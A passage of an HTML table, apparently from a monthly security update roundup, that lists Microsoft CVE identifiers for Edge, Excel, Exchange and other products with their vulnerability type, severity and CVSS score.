  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
